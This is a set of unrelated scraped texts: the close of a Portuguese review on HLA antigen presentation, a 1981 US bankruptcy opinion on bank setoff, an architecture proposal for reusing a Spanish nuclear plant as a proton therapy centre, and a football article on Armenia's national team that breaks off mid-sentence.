adicionais:\n\n1. ", " diferenças na velocidade de transporte das moléculas HLA de classe I para a superfície celular, sendo a do HLA-B de maior eficiência;^(^ [@B17] ^)^\n\n2. ", " apresentação por HLA-E (não clássica) de peptídeos derivados da sequência líder de HLAI clássica para o reconhecimento por receptores CD94/NKG2A em células *natural killer* (NK);^(^ [@B18] ^)^\n\n3. ", " apresentação por HLA-G (não clássica) na interface materno-fetal, sendo a expressão de HLAI clássica muito baixa, para reconhecimento pelos receptores KIR2DL4 em células NK;^(^ [@B19] ^,^ [@B20] ^)^\n\n4. ", " apresentação não de peptídeos, mas de glicolipídios por moléculas CD1 (a-d) (pertencentes à família HLA) para reconhecimento linfócitos T do tipo γδ;^(^ [@B21] ^,^ [@B22] ^)^\n\n5. ", " troca de componentes do proteossomo, na presença de interferon-γ secretado por células T ativadas. ", "Componentes da subunidade 20S são substituídos para constituir um imunoproteassomo, transitório, capaz de produzir peptídeos mais imunogênicos;^(^ [@B23] ^,^ [@B24] ^)^\n\n6. ", " formação de neopeptídeos pela ligação de dois fragmentos menores gerados durante a passagem pelo proteossomo. ", "Esses peptídeos são imunogênicos e interpretados como um mecanismo adicional para o reconhecimento de células tumorais pelos linfócitos T citotóxicos;^(^ [@B2] ^)^\n\n7. ", " formação de peptídeos alternativos por proteases não convencionais como a *thimet oligopeptidase* ou a enzima conversora de angiotensina;^(^ [@B25] ^,^ [@B26] ^)^\n\n8. ", " alterações no peptidoma em função de padrões modificados de transcrição de RNA mensageiro operados por micro-RNAs^(^ [@B27] ^)^ ou a geração de peptídeos imunogênicos produzidos de RNA mensageiros deliberadamente truncados;^(^ [@B28] ^)^\n\n9. ", " transferência de peptídeos entre células por meio das junções intercelulares;^(^ [@B29] ^)^\n\n10. ", "apresentação cruzada de peptídeos de fontes exógenas^(^ [@B30] ^)^ ou transportadas para dentro da célula por Hsp70.^(^ [@B31] ^)^\n\nApresentação de peptídeos via HLAII\n-----------------------------------\n\nA despeito da grande similaridade estrutural e da função compartilhada de apresentação de antígenos, HLAI e HLAII exibem diferenças importantes no perfil de expressão e na fonte de peptídeos carreados, levando a um papel muito diferente na resposta imune adaptativa.", "\n\nEm moléculas HLAII, a fenda também está quase sempre preenchida com um peptídeo, mas agora resultante de processamento de antígenos exógenos transferidos para dentro (internalizadas) de células especializadas apresentadoras de antígeno. ", "Os linfócitos B internalizam antígenos de forma única, capturando-as pela ligação à imunoglobulina de superfície celular, a saber, os receptores de célula B.^(^ [@B32] ^)^ As células dendríticas e os macrófagos são capazes de internalizar não apenas patógenos, mas também matéria particulada resultante de necrose celular, complexos imunes, fragmentos de célula opsonizados pelo complemento, e corpos apoptóticos − todos fontes adicionais de material estranho ao organismo ou de proteínas próprias, que devem ser apresentadas por HLAII.^(^ [@B33] ^)^\n\nNovas formas de captura de antígenos recentemente identificadas incluem a ligação ao DEC205, um receptor capaz de transportar o antígeno diretamente a endossomos tardios, nos quais é feita a montagem final de HLAII;^(^ [@B34] ^)^a trogocitose, na qual fragmentos de membrana plasmática são trocados entre células;^(^ [@B35] ^)^a transferência intercelular por exossomos,^(^ [@B36] ^)^ que é também uma fonte de antígenos tumorais para ação de células T citotóxicas^(^ [@B37] ^)^ e a autofagia.^(^ [@B3] ^,^ [@B38] ^)^Os autofagossomos, assim como a endocitose de proteínas citosólicas e nucleares (microautofagia), são importantes fontes que aumentam a oferta de proteínas a serem apresentadas.^(^ [@B3] ^)^\n\nA ativação e a subsequente maturação do fagossomo ou autofagossomo ocorrem quando padrões moleculares associados ao patógeno ou ao dano (PAMPs e DAMPs, siglas respectivamente do inglês *pathogen-associated e damage-associated molecular patterns*) são reconhecidos por receptores específicos *Toll-like* (por exemplo, TLR4 ou TLR9)^(^ [@B39] ^)^ e são necessárias para a fusão com os lisossomos. ", "Durante a digestão pelas enzimas lisossômicas, são gerados fragmentos de diferentes tamanhos, geralmente cerca de 25 aminoácidos e, portanto, mais longos que os produzidos por degradação proteassomal. ", "Esses peptídeos são aparados até um tamanho final de 14 ou 15 resíduos.^(^ [@B40] ^)^ Vários fatores devem influenciar o plantel de peptídeos disponíveis para apresentação. ", "Como esperado, proteínas abundantes têm maior chance de fornecer peptídeos. ", "Enzimas lisossômicas, como a carboxipeptidase e catepsinas, fragmentam as proteínas preferencialmente em sítios dibásicos de arginina e lisina^(^ [@B41] ^)^ e os peptídeos apresentados por HLAII carregam, com frequência, uma prolina N-terminal em função de atividade da N-aminopeptidase.^(^ [@B42] ^)^ Esses peptídeos são acoplados a HLAII durante a formação de um compartimento endossômico tardio, conhecido como MIIC.^(^ [@B43] ^)^\n\nO transporte dos peptídeos é bem diferente daquele descrito para HLAI, apesar de todas as cadeias de MHC serem sintetizadas e os respectivos heterodímeros αβ, formados no retículo endoplasmático. ", "Temos visto que moléculas de classe I recebem seus peptídeos enquanto ainda estão no retículo, sendo estabilizadas com a ajuda de PLC. ", "Em contraste, as moléculas classe II têm de ser transferidas para o fagolisossomo, para a montagem final. ", "Para que o heterodímero tenha estabilidade para esse transporte, ocorre o acoplamento de uma terceira proteína, a cadeia gama invariante. ", "Além de direcionar o HLAII para o compartimento MIIC,^(^ [@B44] ^)^ parte da cadeia invariante cobre a fenda, impedindo o acesso de peptídeos transportados por TAP destinados à apresentação via HLAI.^(^ [@B45] ^)^\n\nUma vez alcançado o compartimento endossomal, a cadeia invariante é digerida pela catepsina B,^(^ [@B46] ^)^ deixando para trás apenas o fragmento que cobre a fenda, conhecido como CLIP (*Class II − associated Invariant chain Peptide*).^(^ [@B47] ^)^ A substituição de CLIP por qualquer outro peptídeo é catalisada pelo heterodímero de classe II HLA-DM,^(^ [@B48] ^,^ [@B49] ^)^ que também age como chaperona de HLAII, mantendo a estrutura intacta, enquanto a troca se realiza.^(^ [@B50] ^)^ Em linfócitos B, HLA-DO influencia a eficiência de HLA-DM como aceptor de peptídeos, inibindo sua atividade em pH mais neutro. ", "Uma vez alcançado o compartimento endolisossomal, sendo o pH 4,5, a função de HLA-DM é restaurada, abrindo o caminho para a ligação de peptídeos de origem extracelular.^(^ [@B51] ^)^ Essa troca de peptídeos na fenda continua até que um peptídeo de alta afinidade seja ligado, formando um complexo estável que pode, então, ser transportado até a superfície celular. ", "O processo complexo de transporte de HLAII/peptídeo precisa de proteínas da família das tetraspaninas CD63 e CD81^(^ [@B52] ^)^ para auxiliar no transporte através dos endossomos multilamelares e multivesiculares MIIC.^(^ [@B52] ^,^ [@B53] ^)^\n\nAPRESENTAÇÃO DO ANTÍGENO: DIVERSIDADE E EFICIÊNCIA DO COMPLEXO TRIMOLECULAR\n===========================================================================\n\nO conceito de apresentação do antígeno foi inicialmente delineado com base em uma série de estudos feitos na década de 1970 que abriu o caminho para o trabalho pioneiro feito por Zinkernagel e Doherty^(^ [@B54] ^)^ e pelo qual receberam o Prêmio Nobel, em 1996. ", "Hoje sabemos que os linfócitos T são capazes de reconhecer antígenos (peptídeos) apenas quando estão presentes na superfície celular. ", "Esses peptídeos se originam de todos os tipos de fontes, como bactérias e vírus intracelulares, produtos de metabolismo celular, além de proteínas e lipídios próprios ou estranhos àquela célula. ", "Todos esses antígenos são captados, processados e apresentados principalmente na forma de peptídeos pela família HLA de glicoproteínas.", "\n\nO mecanismo geral da apresentação de antígenos é capaz de explicar eventos como educação tímica, resposta à infecção, rejeição a transplantes, autoimunidade e imunidade tumoral. ", "Este é, portanto, um tópico altamente relevante em imunologia e ainda de grande interesse para pesquisa.", "\n\nEstudos recentes também esclareceram o papel de produção e apresentação de peptídeos na qualidade de respostas do linfócito T.^(^ [@B55] ^)^ De acordo com o tipo de célula encarregada de apresentação do antígeno, o número de vezes que um peptídeo específico é apresentado em cada célula, a quantidade e o tipo de moléculas coestimulatórias, o tipo e a condição do tecido no qual essa célula se localiza, a complexidade e variedade dos peptídeos apresentados, e a afinidade de ligação do receptor da célula T para aquele complexo HLA/peptídeo em particular, a resposta pode resultar em diferentes perfis de produção de citocinas e padrões de resposta específicos por células ou subpopulações individuais. ", "Ademais, esses padrões de resposta são influenciados pelo *background* genético de cada pessoa.", "\n\nTambém é importante destacar que, quando comparado à fenda fechada e menor da HLAI, a fenda aberta de HLAII é mais permissiva à troca de peptídeos, mesmo quando a molécula já está estável e ancorada na superfície celular. ", "De fato, já que os peptídeos usuais são mais longos que a fenda da molécula de classe II, que aceita nove aminoácidos numa conformação estendida, os aminoácidos laterais estão livremente expostos na superfície.^(^ [@B56] ^)^ Assim, torna-se compreensível que o reconhecimento pelo receptor de célula T na superfície das células T CD4+ seja muito plástico e inclua não somente as bordas da molécula de HLA, mas também as regiões dos peptídeos, tanto dentro e fora da fenda.", "\n\nEm suma, as células fagocitárias respondem diferentemente ao seu conteúdo internalizado, induzindo a respostas inflamatórias ou supressoras. ", "O papel central dos células T CD4+ na orquestração da resposta imune humoral e celular confere uma importância singular ao complexo HLAII/peptídeo. ", "O reconhecimento do antígeno leva à ativação, expansão clonal e diferenciação dos linfócitos envolvidos, aumentando a população de linfócitos efetores e induzindo à manutenção de algumas células, de vida longa, que formam a memória imunológica.", "\n\nA somatória do polimorfismo genético, presente nas moléculas envolvidas na resposta imune adaptativa, e a diversidade no processamento e na apresentação dos peptídeos, aliada aos mecanismos de rearranjo de genes que produzem o repertório altamente diversificado de células T, traduzem-se em um sistema de reconhecimento de antígenos e de uma resposta imune efetiva, muito eficientes.", "\n\nObservação: Em função de limitações de publicação, inúmeras referências não foram incluídas nesta revisão de um tópico que tem sido estudado minuciosamente nos últimos 40 anos. ", "Esperamos que todos os pesquisadores com contribuições significativas tenham sido citados em algum ponto do texto.", "\n" ]

{ "pile_set_name": "PubMed Central" }

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[ "\n11 B.R. 409 (1981)\nIn re ALL-BRITE SIGN SERVICE CO., ", "INC. ", "a/k/a All-Brite Sign Service, Inc., and All-Brite Electric, Debtor.", "\nCITIZENS FIDELITY BANK & TRUST CO., ", "Plaintiff,\nv.\nALL-BRITE SIGN SERVICE CO., ", "INC., ", "Defendant.", "\nBankruptcy No. ", "3-80-00328, Adv. ", "No. ", "3-80-0258.", "\nUnited States Bankruptcy Court, W.D. Kentucky.", "\nMay 29, 1981.", "\n*410 Kenneth H. Baker, Louisville, Ky., for plaintiff.", "\nThomas V. Haile, Louisville, Ky., for defendant.", "\n\nMEMORANDUM AND ORDER\nMERRITT S. DEITZ, Jr., Bankruptcy Judge.", "\nThis matter has arisen on complaint of plaintiff, Citizens Fidelity Bank and Trust Company (hereafter the bank) to lift the automatic stay on funds in the general account of the defendant, All-Brite Sign Service Company, Inc. (hereafter All-Brite), so the bank may use those funds to set off All-Brite's outstanding obligations as permitted by 11 U.S.C. § 553.", "\nAt issue is the relationship between two debts, one unsecured, the other purportedly secured, and two deposits, one made shortly before the petition in bankruptcy was filed, and the other after. ", "The facts, briefly stated, follow.", "\nOn August 31, 1977, All-Brite executed a promissory note in the amount of $7,500, payable within 90 days to the Citizens Fidelity Bank, marking the beginning of a course of dealing that lasted until All-Brite filed bankruptcy over two years later. ", "On the same day, All-Brite gave the bank a security interest in their accounts and contract rights and subsequently obtained proceeds. ", "The security agreement which evidenced the bank's security interest defined accounts as \"any and all accounts of the debtor now existing or hereafter arising and whenever and wherever acquired (including, but not limited to, the specific accounts listed on the attached schedule)\". ", "The only account scheduled at that time was that of the Bank of Louisville. ", "On December 16, 1977, the bank filed a financing statement covering all presently existing and after-acquired accounts receivable and contract rights and their proceeds in the Jefferson County Clerk's office.[1]\nThereafter, at 90-day intervals, each note would be cancelled upon the execution of a new note. ", "The reissued and reestablished obligation listed as security collateral \"previously pledged\", an apparent reference to the original security agreement and financing statement. ", "Through this method of contemporaneous cancellation and execution of notes, eleven of twelve notes were retired. ", "The twelfth, for $6,500, was executed on January 21, 1980 and, because the bankruptcy petition was filed on February 7, 1980, remains outstanding.", "\nA similar course of dealing took place with regard to an unsecured obligation. ", "On September 17, 1979, All-Brite signed an *411 unsecured promissory note, payable in 90 days, for the amount of $4,000. ", "The obligation was cancelled and a new 90-day note for $4,000 was issued on December 17, 1979. ", "That note is also unpaid.", "\nLate in the afternoon of February 6, 1980, All-Brite deposited into its checking account with the bank checks from the sale of corporate assets totalling $6,175.54. ", "Early the next morning, All-Brite filed bankruptcy. ", "Sometime thereafter, though it is not clear when, All-Brite made a second deposit, made up of collections of accounts receivable, in the amount of $6,013.35.", "\nThe bank is now seeking removal of the automatic stay so it can apply the money it holds in All-Brite's account to All-Brite's total outstanding indebtedness of $10,500.", "\nThe arguments of the parties present two fundamental questions: (1) whether a deposit of checks made the day before a petition in bankruptcy is filed is subject to set off by the depositary bank, and (2) whether the depositary bank may retain a post-petition deposit of proceeds of accounts receivable in which a security interest is claimed.", "\nBefore addressing those issues, however, we need to deal with the subsidiary question, faintly raised by the debtor, of whether the execution of the notes within 90 days of the bankruptcy constituted preferential transfers. ", "We submit that the answer can be found in Collier's, \"It is well settled that it is not the mere giving of a note by the debtor to his creditor, but rather how the payment thereof within the 90-day period effects the preference\".[2]\nThe cancellation of one note by the execution of a new one within 90 days before bankruptcy does not result in a preference.[3]\nThe question regarding the prebankruptcy deposit arises out of All-Brite's contention that when bankruptcy intervenes between the deposit and collection of checks, setoff is not permitted.", "\nTwo related principles of law under-pin this assertion. ", "First, the general rule in bankruptcy law is that the filing of the petition represents the time of cleavage, after which sums deposited with a bank may not be set off against the debtor's indebtedness to that bank.[4] The Sixth Circuit Court of Appeals, in cases which originated in this district, has adopted that approach.[5]\nThe rule reflects application to bankruptcy of that general principle of law which limits use of setoff to cases where mutual debts exist at the time setoff is attempted. ", "The filing of the petition marks the time at which mutuality ceases,[6] and any money thereafter deposited is considered either property of the debtor or his estate.[7] This is embodied in 11 U.S.C. § 553(a), which permits setoff in bankruptcy, only for mutual debts \"that arose before the commencement of the case\".", "\nAs applied to these facts, the question of mutual indebtedness turns on a bank's status upon and shortly after receipt of its customer's deposit of checks. ", "A cash deposit in a general account immediately establishes a debtor-creditor relationship.[8] The money merges instantly into the bank's *412 general fund, to be used for whatever purpose it might choose, subject only to its depositor's right to have the debt repaid by honoring checks drawn against the deposits.[9] Less certain is whether a bank likewise becomes indebted when checks are deposited.", "\nAll-Brite relies on Moore v. Third National Bank,[10] in which a deposit of checks was found to be different from a deposit of money, and could not be set off where the proceeds were obtained after the petition was filed.", "\nMoore does not, however, address the underlying question of what status a bank in which checks are deposited, but not cleared, enjoys. ", "In Kane v. First National Bank of El Paso,[11] the court found that under those circumstances a bank \"was only the agent for the depositor, who remained the owner until by actual collection the bank became liable to the depositor as for a general deposit, the proceeds becoming at the same moment the property of the bank\".[12] The entries of credit made at the time of deposit were considered by the court \"mere memorandums until substantiated by collection\" which \"had no effect except to declare what the bank intended to do when it should collect the checks\".[13]\nA different result was reached in Matter of Crystal Bros.,[14] — a case more factually similar to this one than Kane — where the Court held that once credit was given, the bank became indebted to its depositor. ", "The court permitted setoff against checks deposited one hour before bankruptcy was filed, reasoning as follows:\nIt would seem that prima facie the bank became indebted to bankrupt in the amount of checks deposited subject to a charge back in the event they were not found good. ", "The books of the bank showed the credit at once; no charge backs were made.", "\nWhile it might well be that what actually occurred in connection with the payment of these checks would alter my conclusions, I am inclined to believe that, in the present state of the evidence, I must find that when the credit was entered in favor of the bankrupt in the bank's books that constituted their relation as creditor and debtor unless shown to be otherwise.[15]\nIn light of the weight of authority, the conclusion reached in Crystal Bros. cannot now be relied upon. ", "The viewpoint expounded in Kane more accurately reflects the prevailing rule of law — that a bank is presumed an agent of its depositor absent contrary evidence. ", "This rule has been embraced by this federal district,[16] by the Sixth Circuit,[17] and by the Supreme Court;[18] and has since been codified in Section 4-201 of the Uniform Commercial Code.", "\nUnder Section 4-201 a bank is presumed an agent for a check's collection until the check is finally paid, and any credit given before final payment is merely provisional, subject to charge-back if the item is not cleared. ", "The depositor of the check remains its owner until the bank's collection efforts are complete, at which time the relationship between bank and customer shifts from principal-agent to debtor-creditor. ", "Paragraph 4 of the Official Comment to 4-201 best sums up the rule:\nThe depositary bank evidences the results of its collection by a \"credit\" in the *413 account of its customer. ", "As used in these instances the term \"credit\" clearly indicates a debtor-creditor relationship. ", "At some stage in the bank collection process the agency status of a collecting bank changes to that of debtor, a debtor of its customer . . . [", "A]ll agency aspects are terminated and the identity of the item has become completely merged in bank accounts, that of the customer with the depository bank and that of one bank with another.", "\nApplication of this principle to setoff[19] would indicate that until the principal-agent relationship evolves into a debtor-creditor relationship mutual indebtedness, the linchpin of setoff, cannot exist.", "\nThe depositing of checks merely gives rise to the possibility that setoff might be exercised in the future. ", "The credit which reflects the deposit, being provisional, is a bookkeeping entry only; no funds actually flow into the depositor's account until collection of the checks is complete, at which time the bank becomes indebted to its customer and the right to setoff fully matures.", "\nSetoff in bankruptcy similarly would be affected. ", "Section 553(a) of the Code preserves a creditor's right to setoff, but only for a \"mutual debt owing by such creditor to the debtor that arose before the commencement of the case\". ", "Setoff of a bank account can only be effected to the extent that the account actually contains funds when the petition is filed. ", "Setoff cannot be made against an account in which checks are deposited before bankruptcy, but not collected until after, because the critical element of mutuality of debt is simply not there.", "\nFor this reason, we cannot allow the Citizens Bank to set off All-Brite's debt with its pre-petition deposit. ", "We fully realize that All-Brite acquiesced to the bank's right of setoff when it opened its account with the bank,[20] but that agreement merely acknowledged the use of setoff; it did not attempt to change those legal elements, such as mutuality of debt, which underlie it. ", "The filing of bankruptcy marked the point in time at which the bank to avail itself of valid rights of setoff, had to be obligated to All-Brite. ", "Nothing in the record rebuts the presumption that the bank took in the checks as an agent for their collection.[21]\nConsequently, setoff may be exercised if, and only to the extent that, funds from the deposited checks were finally collected at the time of bankruptcy.", "\nWe will leave it to the bank to bring to our attention within 30 days after the date of this order any item for which final payment was received before bankruptcy. ", "At the end of that time proceeds not so collected shall be turned over to the trustee.", "\nThe bank claims it is also entitled to retain All-Brite's postpetition deposit of checks. ", "As we have said, postpetition deposits may not generally be set off.[22] Here, however, the bank claims it holds a security interest in All-Brite's second deposit of $6,013.35.", "\nThis argument hinges on whether the bank's security interest in All-Brite's accounts is properly perfected.", "\nSection 9-302 of the Uniform Commercial Code requires the filing of a financing statement to perfect a security interest in *414 accounts receivable. ", "The bank so filed on December 16, 1977. ", "Section 9-402 of the U.C.C. provides that \"A financing statement may be filed before a security agreement is made or a security interest otherwise attaches\". ", "We thus find no problem with the continued applicability of the financing statement filed on December 16, 1977, to the last secured note executed on January 21, 1980.", "\nAll-Brite's principal challenge to the bank's security interest, however, is based on what it contends is the uncertainty of what property was actually pledged. ", "Both the original security agreement and financing statement listed as collateral \"all presently existing and after-acquired accounts and contract rights and any proceeds in them\". ", "At the time the first secured transaction was entered into, the only account specifically scheduled was one from the Bank of Louisville. ", "Thereafter, upon the cancellation and reestablishing of each 90-day note, the collateral securing the obligation was described as that \"previously pledged\".", "\nWe think it fair to say that, in light of the course of dealing between the bank and All-Brite, and when read with the more complete description in the financing statement and original security statement, the description reasonably identified the covered collateral.[23] Therefore, although the Bank of Louisville account was the only one in existence when the bank's security interest was perfected, it was not the only account to which the bank's interest might attach.", "\nThe only limitation on the bank's ability to take a security interest in after-acquired accounts is that which was imposed by Section 552(a) of the Bankruptcy Code when All-Brite filed its petition. ", "Section 552(a) precludes the fixing of a lien resulting from a pre-bankruptcy security agreement on property acquired after bankruptcy, and thus renders ineffective after bankruptcy the operation of an after-acquired property clause in a security agreement.", "\nExcepted from operation of this rule, however, are the proceeds of secured property. ", "Under Section 552(b) proceeds from property acquired before bankruptcy are still subject to a prebankruptcy security interest in them. ", "All-Brite's postpetition deposit of proceeds, unless derived from accounts acquired after bankruptcy, was therefore subject to the bank's security interest. ", "The bank is entitled to apply those proceeds to All-Brite's outstanding secured indebtedness.", "\nUpon the foregoing reasoning and authorities, and subject to the offer of such additional proof described in this opinion, it is hereby\nORDERED that the Citizens Fidelity Bank and Trust Company return to the debtor's estate the prebankruptcy deposit of $6,175.54.", "\nIT IS FURTHER ORDERED that the bank be permitted to retain the account proceeds in its possession. ", "This is a final order. ", "Judgment shall be entered accordingly.", "\nNOTES\n[1] Why the financing statement was not filed until three and one-half months after the note and security agreement were executed is not clear, but the delay in filing has no effect on the validity of the bank's security interest vis-a-vis the trustee.", "\n[2] 4 Collier on Bankruptcy, ¶ 547.15, at 547-50 (15th Ed. ", "1979).", "\n[3] Dogget v. Chelsea Trust Co., 73 F.2d 614 (1st Cir. ", "1934); Blue v. Herkimer Nat. ", "Bank, 37 F.2d 663 (2nd Cir. ", "1930), cert. ", "denied 281 U.S. 750, 50 S.Ct. ", "354, 74 L.Ed. ", "1162.", "\n[4] Toof v. City National Bank, 206 F. 250 (6th Cir. ", "1913); Citizens' Union National Bank v. Johnson, 286 F. 527 (6th Cir. ", "1923); In re Merchandise Mart of Columbia, 79 F.Supp. ", "686 (E.D.S.C.1948); In re Susquehanna Chemical Corp., 81 F.Supp. ", "1 (W.D.Pa.1948), aff'd, 174 F.2d 783 (3rd Cir. ", "1949); 4 Collier on Bankruptcy, ¶ 553.15[4], at 553-70 (15th Ed. ", "1979).", "\n[5] Id. Toof and Citizens' Union National Bank.", "\n[6] In re Michaelis & Lindeman, 196 F. 718 (D.C.N.Y.1912); In re Susquehanna Chemical Corp., supra note 4.", "\n[7] 11 U.S.C. § 541(a) and § 542(b).", "\n[8] See New York County National Bank v. Massey, 192 U.S. 138, 24 S.Ct. ", "199, 48 L.Ed. ", "380 (1904) and First National Bank of Clinton v. Julian, 383 F.2d 329 (8th Cir. ", "1967).", "\n[9] Id.\n[10] 41 Pa.Super. ", "497 (1910).", "\n[11] 56 F.2d 534 (5th Cir. ", "1932).", "\n[12] Id. at 537.", "\n[13] Id.\n[14] 11 Am.", "B.R. (N.S.) 311 (N.D.Ohio 1928), quoted in 4 Collier on Bankruptcy, ¶ 553.15[4] at 553-70 n. 33 (15th Ed. ", "1979).", "\n[15] Id.\n[16] American Sugar Refining Co. v. Anderson, 20 F.Supp. ", "55 (W.D.Ky.1937), aff'd, 107 F.2d 948 (6th Cir.).", "\n[17] Keyes v. Paducah & I.R. Co., 61 F.2d 611, 614 (6th Cir. ", "1932).", "\n[18] Jennings v. USF&G Co., 294 U.S. 216, 55 S.Ct. ", "394, 79 L.Ed. ", "869.", "\n[19] It is doubtful that 4-201 was enacted in anticipation of the precise issue with which we are now confronted being raised. ", "But, because most problems that might arise relating to the bank's status are resolved elsewhere in Article 4, Section 4-201 is most particularly applicable to residual areas not covered by specific rules where status may be important. (", "See e.g. Official Comment to 4-201, paragraph 2.) ", "So it is here.", "\n[20] Plaintiff's exhibit B is a copy of Citizens Bank's checking account rules paragraph 11 of which states: \"We may at any time when due, setoff and use funds in your account to pay any debt or any Authorized Signer may owe us\".", "\n[21] We can think of very few instances where a bank would rather become the owner of a deposited check, and thereby incur a debt for its payment, than act as an agent for its collection. ", "Agency status, with its concomitant right to charge back, usually heavily favors the bank in its dealings with customers. ", "This case is a rare exception.", "\n[22] Supra, note 4.", "\n[23] Section 9-110 of the U.C.C. provides that \"any description of personal property or real estate is sufficient whether or not it is specific if it reasonably identifies what is described\". ", "A financing statement containing an adequate description of collateral may clarify a vague security agreement. ", "In re Nickerson & Nickerson, Inc., 329 F.Supp. ", "93 (D.Neb.1971), aff'd, 452 F.2d 56 (8th Cir. ", "1971).", "\n" ]

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[ "centro de análisis integral del territorio\n\ncentre d'anàlisi integrat del territori\n\ncentre for integrated analysis of the territory\n\nThe cait is interested in the representation of the data,since depending on “how we represent”, and depending on “how we see”,one arrives at a different diagnosis and so to different designs.(Edward Tuftee, 1983)\n\ncait’s research is focused on graphic strategies,(hfg ulm, Tomás Maldonado, Max Bill, Otl Aicher).The main aim is to combine the discipline of urban design with graphic art andvisualization systems (as a tool for analysis and diagnosis).", "\n\nVandellòs-I nuclear power plant (l’Hospitalet de l’Infant, Tarragona, Spain) is going to be completely decommissioned by 2028. ", "This project proposes a new vision in order to give a new chance to this industrial area located on the Mediterranean coast.", "\n\nAfter 17 years of operation, the power plant shut off in 1989 due to an incident in its cooling system. ", "The first phase of the decommissioning process (1998 – 2003) cost over 93M€ and it generated more than 15.000 tonnes of conventional waste. ", "By demolishing the existing infrastructure, we will be increasing the waste generated and also losing an icon in the landscape.", "\n\nA new protontherapy research and treatment centre is proposed after recycling all existing structures in the old power plant. ", "Protontherapy is a medical procedure that uses a beam of protons to irradiate diseased tissue, most often in the treatment of cancer. ", "Its chief advantage over other types of radiotherapy is that, as a charged particle, the dose is deposited over a narrow range and there is minimal exit dose. ", "No such public centre exists in Spain because of its high cost of construction and maintenance over the years. ", "It needs some technical characteristics similar to the existing ones in the nuclear power plants. ", "This means that we can build this high tech centre for almost the same cost as that required to decommission the plant. ", "For example, high-density concrete walls over 2m wide can serve as areas for bunkers and as a very good protection from radiation. ", "This project allows us to change the perception that we popularly have about this place. ", "Radiation is well-known to be cancer-causing; however, we present this place now with the opportunity to turn it into a centre to treat cancer instead.", "\n\ncait centre for integrated analysis of the territoryuniversity of rovira i virgili, tarragona" ]

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[ "This sort of thing doesn't happen any more. ", "The globalisation of football, the manic cosmopolitanism of the game at the top level, the blanket television coverage of leagues from all over the world: it should all mean that there can be no glorious surprises like Armenia. ", "And yet there they are, after three successive wins in which they have scored 11 goals, looking for a win in the Republic of Ireland to take second place in the qualifying group and a play-off for European Championship qualifying.", "\n\nThey have defied what Scott Murray once called the Josimar-Murdoch Law of Diminishing Returns, his theory that major tournaments are not what they once were because we have too much knowledge and there can never again be that thrill of realising a player or team we've never heard of is supremely talented.", "\n\nPerhaps Latvia, who qualified for Euro 2004 by finishing behind Sweden in their group and then beating Turkey in a play-off (coming from 2-0 down with 24 minutes of the second leg to go, no less) are the last European minnow really to emerge, but they, like Slovenia before them, were a side based on dogged resilience. ", "There's nothing wrong with that, of course, but sides who pack men behind the ball and look to nick one on the break are necessarily limited; they can only go so far and the fear must always be that they will end up, as Latvia did, making up the numbers in the finals itself, spending their three games looking to keep the score down and nothing else.", "\n\nThat's not to say sides should not look to defend themselves – Greece, after all, showed in that tournament what can be achieved by solidity and playing to your strengths – but a side based almost entirely on defence is necessarily restricted. ", "And that is what makes this Armenia such a welcome surprise: they play proactive football that is very easy on the eye. ", "They've got a long way to go before matching Greece's achievements (and they start at an even lower base), but in terms of style, Armenia are probably the most potentially exciting side to emerge since Denmark in the early 80s.", "\n\nIn that, this Armenia are true to the nation's traditions. ", "Although there has only been an independent national team since 1992, in Soviet times Ararat Yerevan served as a de facto national side. ", "Their greatest moment came in 1973 when they won an unexpected Double under Nikita Simonyan, who had already won the Double as a player and coach at Spartak Moscow. ", "He was of Armenian heritage, and had essentially been exiled back to his homeland following disagreements with officials at Spartak.", "\n\n\"It was much harder to win the league with Ararat than it was with Spartak Moscow,\" Simonyan said. \"", "We had some good players, but essentially we were a provincial side. ", "I had to change my personal style, because the players had a different mentality. ", "We had two Ukrainians in the side, but they had lived in Yerevan from childhood, so they had adopted the spirit of the people. ", "Players from the south are more skilful, more technical, even if it is bad for the team as a collective. ", "You have to stick them to each other.\"", "\n\nThat process of sticking the players to each other, of creating a cohesive unit in which they can express their individual ability, probably began under Ian Porterfield. ", "The former Sunderland midfielder took charge in 2006, and oversaw 10 games before his death from cancer the following year. ", "Although only two of them were won, what is significant is that only nine goals were conceded. ", "The present coach, Vardan Minasyan, served as Porterfield's assistant, briefly taking over from him as caretaker.", "\n\n\"The results do not suddenly come out of the blue,\" said Armenia's Shakhtar Donetsk midfielder Henrik Mkhitaryan. \"", "We have many young players who have earned the coaches' trust and have a clear understanding of what needs to be done. ", "Our football is based on mutual trust between coaches and players. ", "Everyone has the same approach, be it the coaches, the players, the Football Federation of Armenia or our team doctors. ", "We are a whole and healthy mechanism.", "\n\n\"Our main strength is the team. ", "Henrik Mkhitaryan would not be able to achieve anything alone. ", "I am not myself without my team or my team-mates. ", "It is thanks to the men I play alongside that I can show what I am capable of. ", "So I am deeply grateful to my colleagues for their belief in themselves and in me. ", "Together we are striving towards one goal.\"", "\n\nPorterfield may have begun to change the mentality, but what has really elevated Armenia is the emergence, in the past year (and it really is only in the past year; when the Republic of Ireland won 1-0 in Yerevan in their first game in qualifying nobody thought it might prove a key result) of a highly gifted young generation of players. ", "Although the goalkeeper, Roman Berezovsky, is 37 and the right-back and captain Sargis Hovsepyan, is 38, the rest of the squad are in their early-to-mid-20s.", "\n\nThat, in part, may explain why so many of the squad still play in Armenia, or at smaller clubs in Ukraine. ", "Five of the side that beat FYR Macedonia 4-1 on Friday still play in the domestic league, which is ranked 50th best in Europe by Uefa, above only the Faroe Islands, Andorra and San Marino. ", "Only Mkhitaryan is at a club that has even come close to Champions League qualification.", "\n\nHe is likely to be vital on Tuesday, and not just because he is Armenia's best player. ", "Minasyan, who cites Barcelona and Arsenal as his models, favours a 4-2-3-1, and pace in wide areas has been a feature of their recent matches. ", "Given Ireland's sluggishness at full-back that could be decisive, but the question Minasyan must answer is whether to use Gevorg Ghazaryan on the left and Mkhitaryan on the right, or to pull Mkhitaryan back into a deep-lying creative role and explore other options – the former Ajax forward Edgar Manucharyan perhaps – wide. ", "Is it better to pack strength on the flanks, or to ensure the supply to the flanks is good?", "\n\nPlaying Mkhitaryan wide perhaps strengthens Armenia defensively, allowing them to play a ball-winner alongside Karlen Mkrtchyan at the back of the midfield. ", "While this is a side of far more attacking ability than Porterfield's, the additional expressiveness has come at the cost of some of the defensive resilience of old. \"", "Armenia will give Ireland chances but they are also capable of taking their own – as we discovered to our cost,\" said Martin Skrtel, whose Slovakia side lost 4-0 to Armenia last month.", "\n\n\"We created enough chances but we weren't able to score. ", "We still have a young team, though, so we have to retain perspective. ", "The one thing I would say to any team playing Armenia is to make sure you score against them. ", "We didn't do that in the first half in Zilina and then we went and conceded four goals after the break. ", "There will be chances in the game, no doubt about that. ", "And Ireland have got to make them 